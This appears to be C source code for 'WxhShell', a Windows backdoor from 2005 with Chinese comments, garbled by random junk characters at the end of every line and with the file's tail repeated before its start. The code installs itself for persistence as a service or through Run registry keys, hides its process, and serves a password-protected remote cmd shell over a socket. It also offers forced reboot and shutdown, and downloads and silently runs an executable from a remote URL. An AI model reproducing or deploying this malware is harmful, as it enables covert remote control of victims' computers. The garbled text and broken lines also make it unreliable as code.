    if(Boot(SHUTDOWN)) seC]=UJh#>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DZ92;m  
    else { /:3:Ky3  
    closesocket(wsh); %@#+Xpa+  
    ExitThread(0); $m,gQV~4  
    } (+6 8s9XS7  
    break; T$T:~8tK3  
    } 'bJ!~ML&  
  // 获取shell 8] skAh  
  case 's': { M(|Qvh{Q6  
    CmdShell(wsh); t ~ruP',~\  
    closesocket(wsh); S-}MS"  
    ExitThread(0); i]J*lM7'  
    break; |I-;CoAg  
  } 5Ds/^fA  
  // 退出 n|2`y?  
  case 'x': { 6w(Mb~[n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |x@)%QeC  
    CloseIt(wsh); M #'br<]  
    break; ,@kD9n5#  
    } ?j;e/r.  
  // 离开 ;iR( Ir  
  case 'q': { 6r! Y ~\@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hTcy;zLLS  
    closesocket(wsh); 3[I; 3=O  
    WSACleanup(); E9z^#@s  
    exit(1); kP~'C'5Ys  
    break; Cw42bO  
        } Lh3>xZy"-z  
  } xFxl9oM."  
  } `q|&;wP.  
9<u^.w  
  // 提示信息 U"$Q$ OFs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n X4R  
} bHVAa#  
  } :MeshzWK  
maAZI-H{  
  return; +13h *  
} e~R; 2bk  
Q|QVm,m  
// shell模块句柄 io :g ]g  
int CmdShell(SOCKET sock) hoY.2 B_  
{ >dKK [E/[d  
STARTUPINFO si; rt">xVl  
ZeroMemory(&si,sizeof(si)); Ft%HWGE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5tPBTS<<"L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !Ic;;<  
PROCESS_INFORMATION ProcessInfo; 2WQKj9iyN  
char cmdline[]="cmd"; S\fEV"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ! `5[(lm  
  return 0; VD}8ei  
} q-s! hiK  
UjibQl 3:m  
// 自身启动模式 r~cmrLQa  
int StartFromService(void) L%](C  
{ [Du@go1C  
typedef struct 1'ne[@i^/  
{ +|}R^x`z  
  DWORD ExitStatus; [h>|6%sW  
  DWORD PebBaseAddress; w-2&6o<n-  
  DWORD AffinityMask; dWHl<BUm  
  DWORD BasePriority; KrO oxrDcp  
  ULONG UniqueProcessId; 5G.Fi21 b  
  ULONG InheritedFromUniqueProcessId; iVq4&X_x  
}   PROCESS_BASIC_INFORMATION; XL[/)lX{  
{ 3``To$  
PROCNTQSIP NtQueryInformationProcess; _&S?uz m  
Bvzu{B%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JA W}]:jC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kPwgayz  
%bI(   
  HANDLE             hProcess; V:F;Nq%+j  
  PROCESS_BASIC_INFORMATION pbi; Zgp]s+%E  
/lAB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <hi@$.u_Q^  
  if(NULL == hInst ) return 0; +EJwWDJ!%  
9k\`3SE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b *IJ +  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zu(eYH=Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 216+ tX5Z  
H <CsB  
  if (!NtQueryInformationProcess) return 0; R"(rL5j  
.0]4@'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _'&N01  
  if(!hProcess) return 0; l,uYp"F,ps  
f`<j(.{9F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ore$yI}!m  
?]gZg[  
  CloseHandle(hProcess); 2}j2Bhc  
tB.;T0n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jB }O6u[%  
if(hProcess==NULL) return 0; Tks;,C  
&{QB}r  
HMODULE hMod; 0?uX}8w  
char procName[255]; BqZ^I eC$  
unsigned long cbNeeded; ${'gyD  
$,08y   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *nNzhcuR  
3{_AzL  
  CloseHandle(hProcess); E [JXQ76  
K#M h  
if(strstr(procName,"services")) return 1; // 以服务启动 /^96|  
U`q[5U"  
  return 0; // 注册表启动 2{s ND  
} 1wUZ0r1'  
Sp)KtMV  
// 主模块 eux _tyC  
int StartWxhshell(LPSTR lpCmdLine) A/N*Nc  
{ FtN1ZZ"<*  
  SOCKET wsl; lEi,duS)  
BOOL val=TRUE; TRz~rW k  
  int port=0; :NU-C!eT  
  struct sockaddr_in door; UwtOlV:G{  
&QE^i%6>\  
  if(wscfg.ws_autoins) Install(); ^vm[`M  
Y0BvN`E  
port=atoi(lpCmdLine); k/l@P  
($(6]?J(?7  
if(port<=0) port=wscfg.ws_port; )ufHk  
(PGmA>BT  
  WSADATA data; kN9S;o@)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yp5*8g5  
L5T)_iQ5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'R_U,9y`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ga f/0/|  
  door.sin_family = AF_INET; hgj#VY$B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yWIieztp  
  door.sin_port = htons(port); pALB[;9g  
E E?v~6"&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y:4Sw#M%(  
closesocket(wsl); !N$4.slr<p  
return 1; /6{`6(p  
} 3FUZTX]Q1  
]wne2WXE  
  if(listen(wsl,2) == INVALID_SOCKET) { X1<)B]y  
closesocket(wsl); .u7d  
return 1; rQ}4\PTi  
} B0p>'O2  
  Wxhshell(wsl); R $'}Z  
  WSACleanup(); _zh}%#6L  
3+A 0O%0*  
return 0; x|0Q\<mEe  
`H$s -PX  
} ^S ,E"Q  
@PwEom`a  
// 以NT服务方式启动 md$[Bs9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vlIdi@V  
{ b]RCe^E1  
DWORD   status = 0; \(T; @r  
  DWORD   specificError = 0xfffffff; ~ $r^Ur!E\  
-D:J$d 6R<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gp-wlu4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K'?ab 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q 4 Ye  
  serviceStatus.dwWin32ExitCode     = 0; aS~k.^N  
  serviceStatus.dwServiceSpecificExitCode = 0; YD@V2gK  
  serviceStatus.dwCheckPoint       = 0; x?CjRvT $  
  serviceStatus.dwWaitHint       = 0; :NbD^h)R  
[-6j4D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ! FHNKh  
  if (hServiceStatusHandle==0) return; XQj`KUO@  
fvit+  
status = GetLastError(); =m}{g/Bk  
  if (status!=NO_ERROR) [Hd^49<P2  
{ }$qy_Esl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SF_kap%JM  
    serviceStatus.dwCheckPoint       = 0; CWBsiL f  
    serviceStatus.dwWaitHint       = 0; E}NX+ vYF  
    serviceStatus.dwWin32ExitCode     = status; xmiF!R  
    serviceStatus.dwServiceSpecificExitCode = specificError; rcI(6P<*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z?nMt  
    return; t:=Ui/!q  
  } P:*'x9`  
W!tP sPM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]-* }-j`  
  serviceStatus.dwCheckPoint       = 0; 1M 3U)U  
  serviceStatus.dwWaitHint       = 0; TqQ>\h"&_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :hMuxHr  
} TP^.]I O-  
=z=Guvcn`  
// 处理NT服务事件,比如:启动、停止 /o|@]SAe.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W{-N,?z  
{ 3tr?-l[N\  
switch(fdwControl) 1Eg}qU,:  
{ +,|-4U@dl  
case SERVICE_CONTROL_STOP: '|FM|0~-J  
  serviceStatus.dwWin32ExitCode = 0; E#HO0 ]S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !/jx4 w~R  
  serviceStatus.dwCheckPoint   = 0; tY[y?DJ  
  serviceStatus.dwWaitHint     = 0; L\-T[w),z7  
  { #e9B|Y?b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QT|mN  
  } -Q$$2QW!  
  return; |_w*:NCV5  
case SERVICE_CONTROL_PAUSE: KO5Q;H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *E$D,  
  break; `E|IMUB~  
case SERVICE_CONTROL_CONTINUE: G %#us3x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I) Y$?"  
  break; 5X`.2q=d  
case SERVICE_CONTROL_INTERROGATE: + u)'  
  break; y!v$5wi  
}; *50Ykf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "n8_Ag@r  
} hG ]jm  
=vK(-h  
// 标准应用程序主函数 3)3'-wu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o<g (%ncr  
{ ,U2D &{@  
N7;E 2 X  
// 获取操作系统版本 2#E;5UYu  
OsIsNt=GetOsVer(); yGD0}\!n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S((8DSt*  
{K|{a  
  // 从命令行安装 9Q.j <  
  if(strpbrk(lpCmdLine,"iI")) Install(); fe0 Y^vW  
k,@1rOf  
  // 下载执行文件 b#y}VY)?  
if(wscfg.ws_downexe) { Awr]@%I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?.Kl/8ml  
  WinExec(wscfg.ws_filenam,SW_HIDE); %2L9kw'  
} m# SZI}  
}YSH8d  
if(!OsIsNt) { 3 (}?f  
// 如果时win9x,隐藏进程并且设置为注册表启动 G6J3F  
HideProc(); ?_^9e  
StartWxhshell(lpCmdLine); 2xnOWW   
} UG!&n@R  
else .K93VTzy  
  if(StartFromService()) MD On; Af>  
  // 以服务方式启动  ?Z!KV=  
  StartServiceCtrlDispatcher(DispatchTable); w%ip"GT,  
else eU12*(  
  // 普通方式启动 P#0 _  
  StartWxhshell(lpCmdLine); vIG,!^*3  
gTq-\k(  
return 0; }.hBmhnZmI  
} ECSC,oJ  
 qJK^i.e  
bHMlh^{`%  
'v,W gPe  
=========================================== _ <~05Eh  
Y9%yjh  
[L\w] 6  
Y.73I83-j  
U-k;kmaj  
af_zZf!0  
" ^g0 Ig2'  
Ky'^AN]  
#include <stdio.h> ENmo^O#,u  
#include <string.h> V|D;7  
#include <windows.h> Z  b1v  
#include <winsock2.h> V4"AFArI  
#include <winsvc.h> m=K XMX  
#include <urlmon.h> Kzm_AHA)  
=#u2Rx%V  
#pragma comment (lib, "Ws2_32.lib") q[#\qT&QU  
#pragma comment (lib, "urlmon.lib") /}VQzF  
m<yA] ';s  
#define MAX_USER   100 // 最大客户端连接数 mSzwx/3"  
#define BUF_SOCK   200 // sock buffer dOhV`8l  
#define KEY_BUFF   255 // 输入 buffer Brl6r8LGi  
GGBe/X  
#define REBOOT     0   // 重启 6M6QMg^  
#define SHUTDOWN   1   // 关机 )FP|}DCxQ  
}J*&()`  
#define DEF_PORT   5000 // 监听端口 Q\oUZnD$=  
oY] VP+b!  
#define REG_LEN     16   // 注册表键长度 {)[i\=,`{  
#define SVC_LEN     80   // NT服务名长度 JTI m`t"d=  
:b>|U"ux  
// 从dll定义API D;L :a`Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y1~SGg7(@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T/K.'92S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WNx^Rg" >'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }.'%gJrS  
!G,$:t1-=V  
// wxhshell配置信息 MT5A%|He  
struct WSCFG { "tark'  
  int ws_port;         // 监听端口 =oTYwU  
  char ws_passstr[REG_LEN]; // 口令 v Y\O=TZT  
  int ws_autoins;       // 安装标记, 1=yes 0=no A)#sh) }Q  
  char ws_regname[REG_LEN]; // 注册表键名 >R: +ml  
  char ws_svcname[REG_LEN]; // 服务名 D7. P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~Qsj)9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @}Ixr{t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =, 0a3D6b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nsp K.*?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s`J=:>9*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ob7_dWAG  
U{_s1  
}; d{hYT\7~1(  
{XXNl)%  
// default Wxhshell configuration D5>~'N3b  
struct WSCFG wscfg={DEF_PORT, *\WI!%  
    "xuhuanlingzhe", _pGviGR  
    1, wUeOD.;#F  
    "Wxhshell", 2P ?Iu&  
    "Wxhshell", qtN29[x  
            "WxhShell Service", iq:[+  
    "Wrsky Windows CmdShell Service", C6M/$_l&a  
    "Please Input Your Password: ", ?GarD3#A  
  1, gL"}53A  
  "http://www.wrsky.com/wxhshell.exe", WS/+Yl  
  "Wxhshell.exe" /vDF<HVzm  
    }; c.Y8CD.tqL  
SU'9+=_$  
// 消息定义模块 Bqi2n'^O2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3x0wk9lND  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RM1uYFs<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1$VI\}  
char *msg_ws_ext="\n\rExit."; j~H`*R=ld#  
char *msg_ws_end="\n\rQuit."; UMwMXmZNJ  
char *msg_ws_boot="\n\rReboot..."; 8VmN? "5v  
char *msg_ws_poff="\n\rShutdown..."; "3|"rc&F#  
char *msg_ws_down="\n\rSave to "; 4_I{Q^f  
Sc$wR{W<:  
char *msg_ws_err="\n\rErr!"; /VO@>Hoh  
char *msg_ws_ok="\n\rOK!"; %`'z^W  
K!K"}%/_  
char ExeFile[MAX_PATH]; Ju7C?)x  
int nUser = 0; h&M RQno  
HANDLE handles[MAX_USER]; T;r];Y(b*  
int OsIsNt; yO;C3q  
K('l H-3wS  
SERVICE_STATUS       serviceStatus; <1+6O[>{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y6Epi|8  
yLO &(Mb  
// 函数声明 >DUE8hp ;<  
int Install(void); fEG3b#t N  
int Uninstall(void); nl9Cdi]o  
int DownloadFile(char *sURL, SOCKET wsh); >^f)|0dn)E  
int Boot(int flag); "E|r3cN  
void HideProc(void); -0o6*?[Z  
int GetOsVer(void); 8H#c4%by)  
int Wxhshell(SOCKET wsl); QcG5PV  
void TalkWithClient(void *cs); MupW=3.38  
int CmdShell(SOCKET sock); n~ >h4=h  
int StartFromService(void); px }7If  
int StartWxhshell(LPSTR lpCmdLine); TflS@Z7C  
:n4:@L<%H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mev-M2A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vMX6Bg8  
|] !o*7"4  
// 数据结构和表定义 wvmg)4,  
SERVICE_TABLE_ENTRY DispatchTable[] = >6[ X }  
{ *Qg5Z   
{wscfg.ws_svcname, NTServiceMain}, }K/}(zuy1Y  
{NULL, NULL} n;kciTD%wK  
}; Z0ncN])  
|pH* CCA  
// 自我安装 $EQT"ZX>%i  
int Install(void) ~nj bLUB  
{ {Bq"$M!Y  
  char svExeFile[MAX_PATH]; K Z!N{.Jk  
  HKEY key; 02W4-*)  
  strcpy(svExeFile,ExeFile); zyZok*s  
(~7m"?  
// 如果是win9x系统,修改注册表设为自启动 (9KDtr*(2i  
if(!OsIsNt) { RO%tuU,-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5fegWCJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Im?= e  
  RegCloseKey(key); DrCWvpudd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U1>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K$<`4#i  
  RegCloseKey(key); <84C tv  
  return 0; /lr1hW~Dbk  
    } {UdcX~\~  
  } xTJ Sr2f  
} T/GgF&i3  
else { >[|GC/C  
L}}=yh6r  
// 如果是NT以上系统,安装为系统服务 i'W_;Y}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d; mmM\3]  
if (schSCManager!=0) 3?.1~"-J  
{ :BL'>V   
  SC_HANDLE schService = CreateService U|Bsa(?nx  
  ( h v$uH7Fz  
  schSCManager, lh,ylh  
  wscfg.ws_svcname, !,Xyl} #  
  wscfg.ws_svcdisp, ?W[J[cb  
  SERVICE_ALL_ACCESS, ( zn_8s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s[G |q5n  
  SERVICE_AUTO_START, L_THU4^j  
  SERVICE_ERROR_NORMAL, aF&r/j+}o  
  svExeFile, t] r,9df'  
  NULL, Io$w|~x  
  NULL, I.^X2  
  NULL, wr$cK'5ZL  
  NULL, y|q@;*rGNa  
  NULL FOOQ'o[}  
  ); ^>N8*=y  
  if (schService!=0) 5^/,aI  
  { ?^%YRB&  
  CloseServiceHandle(schService); T@;! yz}Pf  
  CloseServiceHandle(schSCManager); K&=1Ap  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZYE' C  
  strcat(svExeFile,wscfg.ws_svcname); .S~@BI(|<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Op`I;Q #%d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :3f-9aRC!  
  RegCloseKey(key); <8u>_o6  
  return 0; i{o#3  
    } .:w#&yM [U  
  } oN *SRaAp  
  CloseServiceHandle(schSCManager); <Z{vC  
} N]B)Fb  
} 'e}uvbK  
Yo>`h2C4  
return 1; OENzG~  
} fuq( 2&^  
R<"2%oY  
// 自我卸载 :]vA 2  
int Uninstall(void) "yg.hK`  
{ 5\okU"{d7  
  HKEY key; I[}75:^Rt  
?n)Xw)]  
if(!OsIsNt) { qs=Gj?GwGQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lc]V\ 'e  
  RegDeleteValue(key,wscfg.ws_regname); ?#d6i$  
  RegCloseKey(key); :.Y|I[\E%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DW#Bfo  
  RegDeleteValue(key,wscfg.ws_regname); Z;#%t.  
  RegCloseKey(key); 1o8wy_eSs  
  return 0; Sa L"!uAk  
  } 59.$ULQVMY  
} UcgG  
} djW cbC=g_  
else { <3b'm*  
f0vJm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yH^f\u0  
if (schSCManager!=0) 2d-{Q 8Pi  
{ C;9t">prk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UH[<&v  
  if (schService!=0) o7.e'1@  
  { Bz?l{4".  
  if(DeleteService(schService)!=0) { 2UiR~P]%  
  CloseServiceHandle(schService); ndw7v  
  CloseServiceHandle(schSCManager); ^K+:C;Q|  
  return 0; +IrZ ;&oy  
  } %Uy%kN_&  
  CloseServiceHandle(schService); _K'7(d0z  
  } Jy]Id*u9  
  CloseServiceHandle(schSCManager); n@hl2M6.x9  
} joqWh!kv7U  
} X1oGp+&  
zN%97q_  
return 1; !siWEzw  
} #;]2=@  
=Q-k'=6\  
// 从指定url下载文件 L;S}s, 2x  
int DownloadFile(char *sURL, SOCKET wsh) ~h! 13!  
{ f8=]oa]  
  HRESULT hr; Fi4UaJ3K  
char seps[]= "/"; oaK.kOo  
char *token; } #Doy{T  
char *file; 4/'N|c.  
char myURL[MAX_PATH]; 9C/MRmv`  
char myFILE[MAX_PATH]; F)S PaC4  
,(N[*)G  
strcpy(myURL,sURL); m2xBS!fm  
  token=strtok(myURL,seps); */(I[p  
  while(token!=NULL) n *<v]1  
  { (u&`Ij9  
    file=token; [ ny6W9  
  token=strtok(NULL,seps); o5!f#Y  
  } eh(<m8I  
A_R!uRD8-  
GetCurrentDirectory(MAX_PATH,myFILE); )&,{?$.  
strcat(myFILE, "\\"); &eQJfc\a  
strcat(myFILE, file); aC!EWgwW[  
  send(wsh,myFILE,strlen(myFILE),0); wvN`R  
send(wsh,"...",3,0); })Yv9],6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^A9 M;q  
  if(hr==S_OK) 63 2bN=>  
return 0; /Vww?9U;  
else 8Lz]Z h=ZU  
return 1; d ~`V7B2Y  
tU@zhGb  
} eGL<vX  
^YlI>_3s  
// 系统电源模块 pHC /(6?  
int Boot(int flag) )OP){/   
{ 86 .`T l;  
  HANDLE hToken; $IX\O  
  TOKEN_PRIVILEGES tkp; *if`/N-q(m  
!%)]56(  
  if(OsIsNt) { MYdO jcN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /7"I#U^u/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F<|t\KOW  
    tkp.PrivilegeCount = 1; N ( Oyi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4aUiXyr*2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ztll}  
if(flag==REBOOT) { W 7sn+g \  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `A@w7J'  
  return 0; E4z)Mr#  
} sG7u}r  
else { zM#sOg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :-T*gqj|  
  return 0; E_T 2z4lw  
} N2C7[z+l`  
  } lLhL`C!  
  else { j<<3Pr  
if(flag==REBOOT) { Yk!/ow@.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7gF"=7{-  
  return 0; (Z] HX@"{J  
} zUJZ`seF  
else { > L2HET  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cVnJ^*Z  
  return 0; ]=pR  
} zP\7S}p7%  
} 2,q}N q  
$'rG-g!f\  
return 1; CusF/>  
} ').}Nz  
4<dcB@v  
// win9x进程隐藏模块 H,unpZ(  
void HideProc(void) K<`osdp=&  
{ &#`l;n:]+  
r0;:t   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z<[<n0o1  
  if ( hKernel != NULL ) +ZMls [  
  { V" \0Y0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #G" xNl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f5AjJYq1  
    FreeLibrary(hKernel); Hb} X-6N  
  } W]M)Q}:Y  
`]Fx.)C#  
return; -VxTx^)>  
} i':ydDOOHA  
ULrr=5&8  
// 获取操作系统版本 TxjYrzC  
int GetOsVer(void) 9vUO *D  
{ _.IxRk)T  
  OSVERSIONINFO winfo; v\16RD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %,Sf1fUJ  
  GetVersionEx(&winfo); IN8>ZV`j)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {vUN+We  
  return 1; |8> 3`w!  
  else C2LL|jp*  
  return 0; !tfb*@{;'  
} ::Ke ^dp  
m8'C_U^89  
// 客户端句柄模块 SDu#Yt&mhh  
int Wxhshell(SOCKET wsl) 1XM^8 .;  
{ p&+;w  
  SOCKET wsh; Gj"7s8(/K|  
  struct sockaddr_in client; kt`nbm|aw  
  DWORD myID; ]f+ csB  
m'P1BLk  
  while(nUser<MAX_USER) ~|<WHHN (  
{ 3)-/`iy#  
  int nSize=sizeof(client); M@ed>.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S*j6OwZ  
  if(wsh==INVALID_SOCKET) return 1; )* 4fzo  
9Gv[ 8'I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3a.kBzus  
if(handles[nUser]==0) ;"(foY"L  
  closesocket(wsh); XGP6L0j  
else T,| 1g6  
  nUser++; b Q]/?cCYV  
  } XsnF~)YW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M\yT).>z  
sR/b$j>i3  
  return 0; N<QXmgqx  
} `PY>Hgb  
nstUMr6  
// 关闭 socket 8\{^|y9-  
void CloseIt(SOCKET wsh) w@N  
{ %Gt .m  
closesocket(wsh); 035rPT7-2-  
nUser--; 31/Edd"]  
ExitThread(0); *S/_i-ony  
} 0GJn_@hr  
76u&EG%  
// 客户端请求句柄 _i/t?7  
void TalkWithClient(void *cs) o6V}$wT3J  
{ (V4 ~`i4V  
y@\V +  
  SOCKET wsh=(SOCKET)cs; :=J,z,H_U  
  char pwd[SVC_LEN]; ULQMG'P^D  
  char cmd[KEY_BUFF]; (\SA *.)  
char chr[1]; !Q#{o^{Y~  
int i,j; i&VsW7  
.'Vww  
  while (nUser < MAX_USER) { 5}`_x+$%(`  
F7Zwh5W  
if(wscfg.ws_passstr) { 2Lx3=k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fFc/ d(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gG/!,Q.Qh  
  //ZeroMemory(pwd,KEY_BUFF); EVoE szR  
      i=0; ztw@Y|<2  
  while(i<SVC_LEN) { j$+nKc$  
7}X[ 4("bB  
  // 设置超时 daYx76yP_?  
  fd_set FdRead; >Q(3*d >  
  struct timeval TimeOut; b j'Xg  
  FD_ZERO(&FdRead); V3"=w&2]K  
  FD_SET(wsh,&FdRead); 7AObC4 g  
  TimeOut.tv_sec=8; uvrB5=u  
  TimeOut.tv_usec=0; |o\8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;aw=MV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }I :OsAw  
m}X`> aD/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .FLy;_f+  
  pwd=chr[0]; bua+I;b  
  if(chr[0]==0xd || chr[0]==0xa) { zRyuq1Zyc,  
  pwd=0; NgY =&W,  
  break; Rb.SY{}C  
  } 62Z#Y Q}x  
  i++; #W|'1 OX4  
    } )'~6HO8Z  
9M:O0)s  
  // 如果是非法用户,关闭 socket 8|" XSN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?#45wC  
}  Y*14v~\'  
:$n=$C -wp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Iu <?&9t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CY"/uSB  
yr lf+tl  
while(1) { 8p:j&F  
@w?P7P<O`  
  ZeroMemory(cmd,KEY_BUFF); ](s'L8 (x  
*3?'4"B{8  
      // 自动支持客户端 telnet标准   r.BIJt)  
  j=0; lMBLIB]i  
  while(j<KEY_BUFF) { fP. 6HF_p_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D8xmE2%  
  cmd[j]=chr[0]; | y2w9n0D  
  if(chr[0]==0xa || chr[0]==0xd) { v+X)Qmzf~  
  cmd[j]=0; ~FN9 [aJF+  
  break; h"/< ?3{  
  } o:_Xv.HRZo  
  j++; &MCbYph,  
    } +w+} b^4  
c5u@pvSP  
  // 下载文件 < Pky9o;  
  if(strstr(cmd,"http://")) { tQBRA/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;oc&Hb  
  if(DownloadFile(cmd,wsh)) J{k79v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Er2}KZJv,  
  else Y4v|ko`l%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2u5|8  
  } @*6 C=LL  
  else { [rSR:V?"a  
#g]vc_V  
    switch(cmd[0]) { :(M(>4t  
